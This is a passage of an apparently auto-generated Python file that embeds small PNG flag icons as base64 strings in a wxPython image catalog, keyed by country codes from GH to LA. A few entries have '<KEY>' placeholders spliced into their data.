\"BQMt1kXQEpVqcRvIIo1aEhOcSTLz5t13j4uJehYXLvdy4Jyf6vV69Fciks/gdJU8TTodERER\"\n \"Zv53MkRUqVQwHPivX3TtnFooA5StrYHdXLUKAMMhv3urLoRUPdVqtXTu7b4dDD5/cAf7AIjg\"\n \"v3f94dTe7n862q3bvQYRMYshIgDFi1fmj82a2nK+gh2cAwDAXL5WLgUmXAEgwmr86GHx9l38\"\n \"jkgrZBm8R5Lw3ns4p5eWEZTgPRW0TKyeP/7zyWOTbrzQ5Yo/7IAZjsk5iMfMDDzz6y2kCRyL\"\n \"c3CusLg46hwZ82BVnw/pzFlSSqyF90gm/LEJZn3pKgUBhAtK+9TqhXJQ36Zut8vMzrl4p55l\"\n \"mbU2TdPB/Xu/7twYj8ej0SiO4x8b61EUxXHcaDR0XnD6anO4/Way+TIPCvc/dPz8WX93J1p/\"\n \"CkBEjIgAKC2Fc/1+KVzJW1YnTlJmlVJENHtr1SRJ8frNHJxqt9tTkEJCU6hBrSZEo2aTmfO/\"\n \"XET0B9K2TnP0V/LHAAAAAElFTkSuQmCC\")\n\nindex.append('GH')\ncatalog['GH'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABF0lE\"\n \"QVQokW2OPYpUARCE6+kLhA2Ml2VMvIE38AaCiayB4GYewGQjT6ORsOM5PIOJHkBZ0KmfLoO3\"\n \"g7NgUxRNV33QS/Fv5v7+Xy0FcH0NoDOYQVIHcW3YlXrit/v9CgBov/9AgqTS5neiKpastOx2\"\n \"A6wAOr3XJmvfVcVSGwBpgHWCZQng1qgL3f7Wp4+idHnJs0ds1bIVFuEXtpfSqjXgVjefub/R\"\n \"4Y+W8urt1t4Az+ABgNatiy3gq5d8csHdxeHNa7aHI0BUM1gfvse7F/r2kx4rZMShnkvRsy9U\"\n \"xFCRx08f++sHrDAcK9JoixlqdHQp9MgTT0CsIDQ+PztX5Ik3cuSxRo5dJ0mTCQYLrgACBngi\"\n \"n1x81ADAX4YyZWXkOpMSAAAAAElFTkSuQmCC\")\n\nindex.append('GL')\ncatalog['GL'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABJklE\"\n \"QVQokWVPu2oCURA9V1cLC8GFBKwC/oKNH2JnbWtvn7QJWiSFjVr4G6IkNta2IhaL3e7i2zt3\"\n \"TopdxMfhwDAz58zDxHGMG6gCUL2GJ3gAisUiAJIAEIY8neD7zOWS4i2CIPCSwSSx22Ew4HyO\"\n \"45G+z0aDtdqt2hgjIplUTaLf52SC7ZaHA1crvn9wsXjYoKqZ9PYg4HQKK7xcaC0vF+73HI2e\"\n \"DcY1m6ZeZxRRBKp0Sid07pEiplSK220PvR4LBary6xO8/3I8ZquVLrTWVCoahhkFaC2XS/z+\"\n \"3amt5XB4VUOEIgJ4CmRFeD6j06Eqq1Vms9xs2O1yNksNYiEOziExZKygXKa1+P7B6wvyebNe\"\n \"I4rw9gYRiMC5hAqYPaA3xH360ALwDxiKW0pwzWHQAAAAAElFTkSuQmCC\")\n\nindex.append('GR')\ncatalog['GR'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABTklE\"\n \"QVQokWWRP0sDQRDF311ONGLgCBEb01jpgV1EwUIQyWcR8TtYCxYW4qcQRAWLdEYFEcUUAUnE\"\n \"qIdICvEPBDXH7nsWe4kBYWZ4swxvfzvr5ZbOAVzshgBKq2+g951YJERCJCatPwY/RELIBACW\"\n \"S2EURZJW5m4h7W1OSxAACXIpSRQe4xcvjuNisSgJAABJ5zfvFCiRkkSmOjvin1aeAzfUnwZQ\"\n \"u/u2pLGylsbKGBlLWuXDYGOn7g0vnpbn8wdbM5KW1+qkjrejlAIpirvJ9/1mMw5M0mN0DFR5\"\n \"vU5HQqUhURrLBrXqvdduvxYK4YDhoGA/Afm+32o9BfvVzsJs5qtL9ZzkvHswFJwYHcmcVTrB\"\n \"yVV7ajL30UmslaWsZV/QtaSlLJXPDW0eNrzGw+d4flgS3PogSUgf+kcIkcLlddPDxFH6kV0C\"\n \"5l8QcOdw9RfrG2tQxEeGNAAAAABJRU5ErkJggg==\")\n\nindex.append('GT')\ncatalog['GT'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABG0lE\"\n \"QVQokWWPMWpWURSEv5t3i7+QYCDEwsIyy7DKHizsk8reFbgBV+Ai3IRrsLIIhCBJiI/HvXNm\"\n \"LF5A8D/NwOE7M3Pacp3aADCs/vX14dBtG7D9tPryw2tkZDZzoNczXz4ClDPV3pyfLSdAkgCn\"\n \"MzefYkcVOd8+P3c6wO1jVGzCybLjSRI5P+9iZ1benjXkjrEjU0aV5B+9z1DsyFHB5o5cbirK\"\n \"Uf1PxxmVVOTMgkFHVKjKdKaODpKplx+mGuWOqBeDzKMEO0PJXskBd2SlzcoUU8cB2ZcqqgLq\"\n \"DEvLVKYYdYSToZDIqAA6q6dPLk6ZlW3QGkDbBZbGu3NIs1MB3Lj6w28zzGpW//h+9+qAJNu2\"\n \"75909f4CDN4t/gLVAHPNcoxygQAAAABJRU5ErkJggg==\")\n\nindex.append('HK')\ncatalog['HK'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABUElE\"\n \"QVQokVWRsS6EcRDE5/vfR3wcIqJQ0OoUSjqPQucJJDyFwlOI4pQaEi+h4nJESET4jrCzu6O4\"\n \"I2wmky0mmd38qmcgMZ788b9yAIADCRSgdqB7cAAAmcpUBDwUjgiRIuX+64Nery4AoLy7V4Qi\"\n \"QCqiu7mlmem3k5M0iiYzkWVlBUABgNQ4HVFKKZ2Odne0tja1uFgVpNlIIh2oE1CE3OFeVVVz\"\n \"eKiXF93caqrpHB3NPDy87+3ZcDg6L4EagDxEwj0Zur7W9rZ6Z2oaZej8PD8+0gyk3POnweEu\"\n \"muivx8ezgDY2lKnppj09ZduOfyAdKAmAlJnoaTY5P6/1dZnp8kJNM9HtjtJyz98GuItMUuTX\"\n \"42O1v//Z71vbzl1dDQcDmcGZHiUiRxySXi0vF1Iecn6SubTUWVgYPj3Vq6twz4gSoQgHqj5g\"\n \"/7n+Xfw/+0ngG/KLPeZjxNoEAAAAAElFTkSuQmCC\")\n\nindex.append('HN')\ncatalog['HN'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABYklE\"\n \"QVQokW2RMWsUcRTEZ+MSc14fIxhFCNjmCyjIgWI6BbvUfgkLEYuDQFC0SKHYiKBCIJ0g9oel\"\n \"pY0WRi4KWpjdsPt/82Ysluvy+PGYx/CKYSpcfoN/xDAUCkEhBfA0UONvebRzDYAEWZlIKWmm\"\n \"STPFFKmgmH63+7pGUQkd/uozlYmF7aAGSlFhRtH6hRHQ1dOnm7dvrJ10aTtlpwVbzoFwQpIl\"\n \"jUc1m+uYz+eSJGXmcRN7b79HRN+Xru+7rpu++Pr7z3Hbtk3TtG07m82WhrS2bZ9dxp3Jedv7\"\n \"n47efziyvb21NlquBteApCVJi9t90cv9H7bvTlbv3Vq1/ergZ9fnwjfJ6vHzz1uTq+0JJaVM\"\n \"CnDKkpRmyoYkyeNz9fTZxwrYvf/w5rfDNkLBLHQpGZGFjlChI8gU6Y1L4y8HT2qAZ2pcuTgK\"\n \"ihTpQQTFFNOZHh4sA6iAB8DKoshymhhaH/bKf9m9dMO0S+5pAAAAAElFTkSuQmCC\")\n\nindex.append('HR')\ncatalog['HR'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABbElE\"\n \"QVQokW2RMWhTcRjE78VUO3QRRHAIiiCU7u3cDl3EVQQXETrpLAgFHQulgtDZxaHYybmb4JIh\"\n \"Q0cHt/jImOTl/d9L/t939zmkjQg9juOG301XBP5J//cbXQSAw0MAIQFApxMK0YMqLMMs3OM6\"\n \"6/PzLgAg4k8JEmSYvXt+4g/Df4c/0un712E5cg6zotcT0AEQihVt5PHXt5/Wp5+/HJyuT8wW\"\n \"kfOVzQSApCRJJOls29YuL/Pe3mIwmO/sVFXVNE1Kqa7rlNJoNLoakHR3d2+aJu/uLum2359M\"\n \"p0t6NpvVKZVlCZJL2tzMLKW0GAzm29ttv99sbY3H4yVdVVVd18PhsMCLn0evHpeThTGcMmo2\"\n \"/HX2/UOYPXv68faDTaNcckbv7p1vb350kd0lo1aDW/efvDw4M2qNMspcHuEMKgB1keWKextr\"\n \"TpEygZQzSJmCFCOcoQhXACqwfwEX5o7syEJ2zK9LdrgjC1wdjb8S03cdKh6exgAAAABJRU5E\"\n \"rkJggg==\")\n\nindex.append('HU')\ncatalog['HU'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAA7ElE\"\n \"QVQokX2OKVJDURBF76v6OBQuIgaWwSLYBCoKn11lH8kWYsAiolJ9h0b8fGa4out01elh7PEl\"\n \"AgBkAS08VwETgPV2C6CTTmBDjgUpUpMtNRkp5GG3mwAAzeeXtmE3GRtkyCZTDKurQl6t15kv\"\n \"dPqz3VUtdTGssLqYqnm+gGF7jAGgu9Fo9F8ZY5xOp/mli/UOvwZjJJk+pP/3d4/uJAMP2Dxu\"\n \"jq9HWXSVWC6aNMvFpZV1d3O7fzpMOEMSTeoilepim2XSJVO22gAmFBitrlcMJSukyVASm7IU\"\n \"WTZsG8DAPVBAAecfUEDjW94AIuRtBo6TpQMAAAAASUVORK5CYII=\")\n\nindex.append('ID')\ncatalog['ID'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAA9klE\"\n \"QVQokX2OO0oEURBF7+vuwEBhxsBAtyK4GkPXYeYCDN2PuAADQ82aEZXh1f0Y9AyoMB4qKKh7\"\n \"qqq9rEe8CwAACwAMGADAfe8f/YRZp3e3AGLDjhQ5IsyULIYMK8WQz/cPE0YA4NsrpEghd6Vy\"\n \"MVVmpSq9j+cXBiYIkZe0yZBghWUyRVcPy73CaiSBiYC/PvXxHgq7fUx1V4XlqlS5d7Pa8UkH\"\n \"ptXN9dHllTabSLHi5THFCmUxy3FpXK3Pnh6bJABJgiDIYYZhmOd5st1aS7LTDrBMSQ62/4/+\"\n \"0SbbwzAsDva01vCLBgSA7cn2drv1AgzDB1jUb/9idu6XLw4+AAAAAElFTkSuQmCC\")\n\nindex.append('IE')\ncatalog['IE'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABFElE\"\n \"QVQokW2PPYpUYRREz/d4gjhM5M8wgyaCGxGMXICJoamZgjCrcCsmsxiTCexAMNIWH9+tW2XQ\"\n \"jYE9hxvWKeoOPsMGgEHs3u0WFsAHtD16+cLGE098n5U916+uj4n44vHFGAskCRArn94mFStd\"\n \"+/dfVlYg337v2t3de+3P753nH39+5fvXZKZqPHxmWDF22i23unKKZnomRZdhBZpWJEvWSdyp\"\n \"Gc+46AJWhNzVpb5TSDSTGRWSD0Jbsqan+kSw08dJ4zhJVGr2VKt6Ov7fqRmKVlo6TmpV1+Hu\"\n \"+EEzFG7cwMpGWZdnl9Ul9TIWYIzBgWXlyXNounEbBh/hJwg22Lj5cHP14Mq2JNv6cfv09RuD\"\n \"jwX8BUrDcqkVhANcAAAAAElFTkSuQmCC\")\n\nindex.append('IL')\ncatalog['IL'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABDUlE\"\n \"QVQokW2RsUoDURBF54UEwcZusRDs/AlLBbuQykKsRBBBAiJ2aQQbEQWtLBQbBe3SaOtfhEBK\"\n \"q/cNO3OPxYbdjTrVfcy53Jl5KedsrZIkqRaS3N3M3L16pqWdfD8szCwALGSShYggZB64CCeE\"\n \"O9dH05RzLooCqBIqwX+VUppMJt0aatO3LwhO9xYM1ZzdauI5jT1/MP1mpcdqh+EdG2scDxqD\"\n \"u3dqGsAYbOIlJ7v0+5Ql+1sLEZI6kmoaeP+idMZjbl4pg6fPFg/u3q0NVc5hH+DqkeUeD2dE\"\n \"0O42O/w6zvlBfZnGMF96fVuXF7gsHJe5m4dFJA9zWYSFLCKFEPY2UprNZu2P/CvaZWY/KQh5\"\n \"EgUg+FQAAAAASUVORK5CYII=\")\n\nindex.append('IN')\ncatalog['IN'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABQElE\"\n \"<KEY>\"\n \"Jm6xd86Pxd1dM5wZZs6ZOdNyhk14TAOGCRseG65HogeAw48AArcYUSCYLbxmdqiYcSVM6u/X\"\n \"zz0AIKkZIlhJIYorqXUd4iGuduOhid47r9vNZ+h3EidCNP199/t0X9arR+eHk1nCmA5bf98P\"\n \"TltJXWsJkozfPp3+Wl4sXjy992N6+e7NYydxnHSt/ZlfdB2AAMkGi8XyYHfry9n55WKZJE5G\"\n \"CYDdja5A0AIkyfODO99+znl96+WT20lW6gpu+IDjt8ez+YwmVSWWi2KpaJaKIkWae9t7J0cn\"\n \"PYiR2uz9XzU3l7RkYUCPATQntyajzaqaNGVJYihJkSwYDe+BASAwXAGvMFzDAPAP+jxNFrI5\"\n \"ksMAAAAASUVORK5CYII=\")\n\nindex.append('IQ')\ncatalog['IQ'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABXElE\"\n \"QVQokZ2OsWqTYRSG309/bCnqICYh1IBCFl0CpR30CvQCpO1lZO6eqygddS9CxE3U6Jq6KC0B\"\n \"xRrBVmyaNMn3nnNeh9+iQicfXh6e5cBJwh/i375wSQC2tgAoAhFwlzncZAYzkfrL493dAgAg\"\n \"fTmEO9xFlv69TDErZ5Gp0QigwNqa7t5DpQZBluEhN7lklFHuoilCeY5KJbpduHtEzMOefeqa\"\n \"+czsjPnl4etXX99MZrPj6ejH2cn2+53ReDyZTIbDYfkSXnx+/uHnx/F8VF1ari7eePftbXHp\"\n \"8kJaPJ2f7h3vHYz2FdpsbkREAUDSo1sPs+cH9fvufu3K1dXqioTb1xuSVm62nuw/Xb/zGFJE\"\n \"pFar1W63j74fJSWS5kYyPGik0c1pTJGmnNZqtU6nU/T7/V6vNxgMSJLMOeecyyBZlhnNvNls\"\n \"AigAkFav10mauVl5SDMrbWZ+Dv6DX3iOQn5NOXoqAAAAAElFTkSuQmCC\")\n\nindex.append('IR')\ncatalog['IR'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABVUlE\"\n \"QVQokV1Pu05CURCcczkBlZioBYUIDVQW+gHW/oKFf0BHb/wH7CyNhbG2wVhqQ0FMSOxM8BGs\"\n \"1BARgvfs2R0LHkEnk9nX7CbrcAL8YAoD4kwXGWbq4THE0f4RADMzmJpGU2WMNqGIxkgRjaJy\"\n \"dXrl4eHgeqM3o85NkRpUokqwICpBg2gorZaRwDcPmxvZjbXsWm/U21zZfPl+2cqXnr6ftlaK\"\n \"z6PX0nKxO+iW8+XHr8ft9e3hwdCpqnMOAEkQBDlOeXdLI/f2uJTlDM65wWCQTL6d9ibx8oIf\"\n \"78x6np9xEYCZOVWdLkzvk6psNCjCep2ZzNyfJEm/388c53KoVtluIw3sdJim7HS4s0vvacZW\"\n \"i2nKVgvjMR4ehjfXLgUytZp1uwiBIhThPFnIoeoqlc/7e29A8pOiUKAIoiIKRJwIYsREY4Qq\"\n \"VBGCAW4E2ALxt/w3AvALz3tDHmqDQaIAAAAASUVORK5CYII=\")\n\nindex.append('IS')\ncatalog['IS'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABYUlE\"\n \"QVQokW1RsWrUcRjL7/5/h9ap7VXhKLQ4uvgABXFXN8EX8AlcvB4FEScHQRwENxEHcRMnB/sI\"\n \"DuImOPQG0bYcHBSO70u+OJzn1AxZQhJCGm68xgr6+uBn112Tur2XCCKIBRGECARAIHoAzw72\"\n \"AVS5tTacHADt8MlN0SyTRVmlZKXqzfhdDwDwr7OFqgDw+Bjw9Pd50qkiFayUyBptrQHsUVWC\"\n \"qiTbNtN2sEinlKykgiWJMhBNUmsNgG0Yp/fvbb7/4IvQWpvP5+0HMBw/4nRq0pmViUxnVoYj\"\n \"K7MinCzGpd29b1+OmqRlvGEYp3dvb378dGHDYDCYzWZ9t/Ni8vTW9M95Um/H+xVp+87kKLkc\"\n \"UMliiazdq5c/P3/VY0GqlrLtirCdVPwzmNTSQAFgjwiqrmyskQLQj0YARsN1qpIlWRKrJMgF\"\n \"VEP3+P+RZ7PD7xtb109OtrcfAgHU6uBaMf4CWkFmlGgAUDYAAAAASUVORK5CYII=\")\n\nindex.append('IT')\ncatalog['IT'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAA4klE\"\n \"QVQokYWRQUoDURBE38jfeYIRAhLIObLyFll5BzfmFF4l98gJsjUXkAjD7+pqFyMjCaKPontT\"\n \"Dxp64A0mAAzi/Hz2NQ+bjWFJ48L+aQ/Ydnkcxyqgalm7XUWUVBGXw6HRgHr/PKczM396C6dT\"\n \"9V4Rw2plaBi70imnMm7bVdX7LBBhaECSKsmSddu+FoCGkDMylP8JkmchLVndXfmXMEQY7hBR\"\n \"0bMrFdl/FyKQStL3SanImPO7oEBJJtCYCGu8HyNDSgAYhoGF9ZrMOYaBF/gAwQQTx9ejJNvz\"\n \"BB632/nHM18uVneE/JK6zgAAAABJRU5ErkJggg==\")\n\nindex.append('JM')\ncatalog['JM'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAByElE\"\n \"QVQokVWRT0gTcBzF3/5EtZpmG4NyNYsyvYycEZF5SCIp81DQIUQooVMFHYPoEkg3b0XUIZiC\"\n \"B7FDl+gfHcpIzCLaIGxtFGg5so05a/u+7/e3DjOoxzu8y+fw3vPU3mGhjFMfMZ0HADjAAfqP\"\n \"BagAEbyPIxqA53QXkmNX123AdME9LrqSmsLMqdZUnSq53qv9jTwc0l9F7u544J+YQvf92pHE\"\n \"/P49tt1r977zzbKxRjqSjAd4ISzRoMy+5tjTbUuAD8DezkOPXhTlt+1rYXfIfE4+rKhzHAjJ\"\n \"5agEybvjcv0OqxbMZrN+AGZWqerEE51N62AfT+5g+xqasS0gqbSMjHImJSQ3kwC8AFSNJMl0\"\n \"htduMvdVWoPS1iC5L3LpBmdSUpeqrgJmqqpCaY7IlbMS2yKZoswVqrGtMnyxuqt5FSAJwA+A\"\n \"pKqc6NLB47I2yMl5ufWN4ng+LGcSHN0pI0nenlRTRb300Z6Oob6l/l7+JIdzksxL2Vg2eV5g\"\n \"qsTORjl2kPGYflpomvu86GlvxNTLoY2b+OoHx/O2KKxvqk7pqNQmn54LW2/ECnmL9aQ8K8+w\"\n \"UELiLZYz/78rf3MFUKAFDw+gtQF/ALzGPhZXojC7AAAAAElFTkSuQmCC\")\n\nindex.append('JO')\ncatalog['JO'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABLUlE\"\n \"<KEY>cRjE741vnYSCuGQIxGq/<KEY>CG<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>/<KEY>\"\n \"Kn7fb2wDeLxUJ7ARYfLmLYf9Teq6/PxOkWJRYUYkKUZq7/Wb2cWsTuB+M34ctX/vvWorIoMi\"\n \"k5ERCjmYIUmWUghUX4DPA2AbKGvFfyHWIYEAgAe4hlu5xLXqFgAAAABJRU5ErkJggg==\")\n\nindex.append('JP')\ncatalog['JP'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABA0lE\"\n \"QVQokXWRPW4CMRCFx6utttgG0VBwDEoOQENBS4GUXAwlHeICFDTkGlsgEmmbRUKCImNrvhT+\"\n \"CSnyZNkz1hu992z3eDzkCWYW9+eiIJjVItI0jYgAcQZil48n9H1fZxK/xfHI6QOvzGYsFoXt\"\n \"nLOo8Ie937PdEgLqOZ34+uTlNQ5Eh1VxD8gwsNvhPappvb1zuRSREEIVwxWP3G6J6hVV7nfO\"\n \"Z7KEmdVmlntkPKaq8Ip6VPEeESaTlAGSpcJnNGK55FsTW5XVium0vJiI1MVSmtxsaBoOB1SZ\"\n \"z1mvS2IRCSG4YRjati23qYg+nctpRQQR6bquNrPr9Zo/Mliw/xBFfgAmk2yfBC2dxAAAAABJ\"\n \"RU5ErkJggg==\")\n\nindex.append('KE')\ncatalog['KE'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABeklE\"\n \"QVQokZWOP09TYRyFz3t70UJqdLHqUkg3Q5j0U/gRymBgRcNsGmUiYXdnYnGtiwvRgaXuRG8b\"\n \"Y3JvA9II0qCXe9/z++NCE1efnOFJnuUA/0kA0O/3AdgcVSUpIqLqqlVdC0kRkoPBIAEA+GQy\"\n \"KYoiz/P89LS3vt6ezR5c/NrY3PxWFOPxOBuNsiwjCSAcD4fdtTU38znldGoHBxCxXm+p3b4J\"\n \"ZknaOBq8D2fAndc7OjlxERdCZKf6sx3SBdU3s4vd2qyqPUZXTZc7o8MPaQk0y0qvfruIRyYm\"\n \"57zWhaZTp+W1Rvc6WqRLRFVHIL0FJElACBbgIQQPl0J4I1FtqQWKMYICtaAGIBx/+dhdeaqq\"\n \"N1fdLn/keLufiNZbz+896ribu5t52kg/Hb0LeIUXz15+vcqopMVoftsWn4wZIg+7PNef0UpR\"\n \"iunq3cef94YpKohwpdmhUkxopPH7qtD4UOW+tdxBE3UxNVQI2AYqQIA4n/wjMhcDBGjhL1ti\"\n \"PSucHkU3AAAAAElFTkSuQmCC\")\n\nindex.append('KG')\ncatalog['KG'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABKklE\"\n \"QVQokW1RMWqVYRCc78sTKwkGLAK+RhuDheI5cqPcxMoz5AKWYhHBwlqESIJdIIG8mdkdi/9/\"\n \"iYXLsmyxuzOzM27wGL2v/zYPaQDABsDTszMA6UY3quJCOXbsSLEhtR3pz/n5BgCQvvyNqlRF\"\n \"wpMaW2Gov6tvFbHJSHO7NbBpIJ3H6VGbU84PRmmccPeJfaeQkSI1MAGg6gF9vuF4LX+lv3C8\"\n \"4sEJQ4YrSAOzAbiWA6HGC+WAuWZdsQfzck+JjO0FIYtEMWL9Iu6YQ+Jol1v25W6dJlvCqkFa\"\n \"DoD0N423nO+VUv2gPis7Rmp72r0uLAJWVrz/yPlOuacv1DcK2RZcqdp/SR7Hx0OKq60h5adi\"\n \"z+caz9z2XH5YBWBcAd4b2f9zd3F9sXkCfwH251SCACM16gAAAABJRU5ErkJggg==\")\n\nindex.append('KH')\ncatalog['KH'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABbUlE\"\n \"QVQokV2RsWpUYRCFz/29d/eGda9rWMiquGhjKRYGKzsDbmETfAftFUFFsbA14CMIqQy+gcRC\"\n \"3yI2ErUQqyAmO+fMjMVNIDh8DKcYZjhzKow/wQJ9CfAAenTSTwvUMLzaugYgAx7pAffwSCno\"\n \"cIXU6yRj5+2XGvjTpv38tfTI8JBnP2EeYkhJBhkmv7TWAr/rz8t7V388tf39cE8yPdyWg9ks\"\n \"PA6/7kHuy6M0S3Iwn9/GxwIA7ilVJFyjG9cHk3Oz588uvHzRjEdnb63DlWZpBhJAERDyIEVm\"\n \"VVYfPBzdXaBdQdt2m/enjx5n3chMZpKOgBoAXJCSdmalK13Xbdwpk/Np1i0WZTIpg+Z4fX8h\"\n \"gCTDDO4X32wBqJomM7Ouq+Ewgfn2dpUeUkgCKuDdk9c3v33/S4ZQSCeDdGNQQYU8eUi5X7k8\"\n \"2t15XwPdAYfjaUP1XoLHjw8p3VO9iDzwBKYV8AGwkyD/43TSPeUfjDQzrVjF/Z4AAAAASUVO\"\n \"RK5CYII=\")\n\nindex.append('KR')\ncatalog['KR'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAByklE\"\n \"QVQokU1RS08TYRS9X1uYdsa2004Z0o4kIMUJRlRSFq410oYfYHDnD/DB1hBt4p4FC/snhLia\"\n \"hYnB16qJj6hx0UUJAVL6mIlTtSl1Pu9hMWI4yck9q3PPyRH94YDOgJmJiDlU/3gKycwRIkrF\"\n \"1VRcbe3tf//8ZQwiFdd0VU1rWkZLJqLRbx8+HjSbE+m0qWeZORYa93o9x3H8H37ONGdnZtBs\"\n \"<KEY>2/NSUDD8A8H0/CILFpdJsIY+NDayt4cE9PFmfNieWV1Zc1z1qtwEw\"\n \"s+gPB0klQUTdbldNJsWrN/FnmwiC3zIyGv3R767+XL3T77kF<KEY>K<KEY>dFMl\"\n \"GQ0iiaeLD1sjZf3g01VF0awCABJCMseYCQAAz/POaerAXrhvP4qOj+0rpn88apaW7eEv1+vn\"\n \"83kBEHOEmAE0Go1areY4TuVaYu568TCapeHxzcvjt25YOzuvq9VqvV4PO8SYiIhUVQXw9t37\"\n \"+Uvzj29f/LqkyL9YmFZ2dxvPt14YhqHrOoAwEgOwLKtcLnc6HdPME9GVC2qYc3KyUKlUDMOw\"\n \"bZuIiEkced7ZIf8fkixPhyYpJRExEfEJhTEZN2ZjOv0AAAAASUVORK5CYII=\")\n\nindex.append('KW')\ncatalog['KW'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABKElE\"\n \"QVQokX1RP0odcRic3awi8WHxTMQnSBpPEN4BvISeIZ1t4J3APuoNcoBX5AYewNrWtCEQkeU3\"\n \"f74U65b6McUwDHwzTAcA18AeMAIjoBmZSZshQBgAbLLBV+Rjwris2JFKihTSUsiI5vZmOwDA\"\n \"cz39/O1z+9A0HTNkSJNmc2tpNE8XpxgxAEjK/6xfvry6OPh84DiJy6kkdmVS9nf2d7/tDgBs\"\n \"S9Ko9XJ9sjqpN67ruvViPQCQTFJSkLfcVYWuS9IDmB40Nr9jr0JVkgEAydZaQbq/z3JpT/ld\"\n \"9tQCSSX9YvF8dzdF0gB+f+GX29uX1qq1Iqu1kK9EhPzh7Ozvw8MAIJ1+fFodk6PcizX5pJ6c\"\n \"xuht2GX3QAfgETgC/gCZ98VMJgWzCOA/nWhlKT+0ek8AAAAASUVORK5CYII=\")\n\nindex.append('KZ')\ncatalog['KZ'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABk0lE\"\n \"QVQokU3R32vNcRzH8df3e75a7XA2u2CJNY3UslLIzYpyoZW7ccElhRu5FFfu3C21qxUllBsn\"\n \"d9Kio/wqV3JBmnEzK3ScTZNzvt/35/lyg/wBj6tHVmv5g7Lxwv1SiNWQQkIKBAIFylGgQKWy\"\n \"WsudnTPLGnmk6WRhJQko3O1R66pIOOGwK/vai7VC0rK23aqmcwsUdthbeb/HrTYbH/voGn0J\"\n \"B97cl6kklyT5mOcS6tnJmGqf5ye5f5DmAR78whWu7MCCPIlhf7zL2bAzVzndutvjfmb1Glra\"\n \"64d1VipcJYetUrmQnY57trQH+NJPexevXqf9jrITg29j90R6XuEKR5KCQqHPHrntk+Af1Ie9\"\n \"OOEn9zi1wPZvDK3QOOw78xwJHFhBrsBOJ5gBtb1hlfqnNDblG5NujvrNeV9oMxQ4ULJFFBJb\"\n \"WLjIFeFkLbLjHWPr+Trlm4MszaXLT30o+wMkVCjA1bl115s+HSisCgWbXvoM0PHAKE7OEk6W\"\n \"gkzNn1ejcSn//u9S5d/X+G9aqCvl+g2/aVpzpMUQkwAAAABJRU5ErkJggg==\")\n\nindex.append('LA')\ncatalog['LA'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABZklE\"\n \"QVQokWWRvWqUYRCFz/vtZ4RFTUxcFdQUbpne1k5IoRaprERIY7edhAi5BgnY2go2snfgfZgi\"\n \"IvnBaDSJZL93zjljsRhWnGJ4DoeBgacI/4wB/4WLOMtFQNncBJA27JRAQQSZZEZcbEScjcft\"\n \"qPd0bfDg5PA4ZcuWaieGRKUIWaRIBudvL25h3G7fH91bHO6ro1NCV7U03z57NMjMd+P9nb1J\"\n 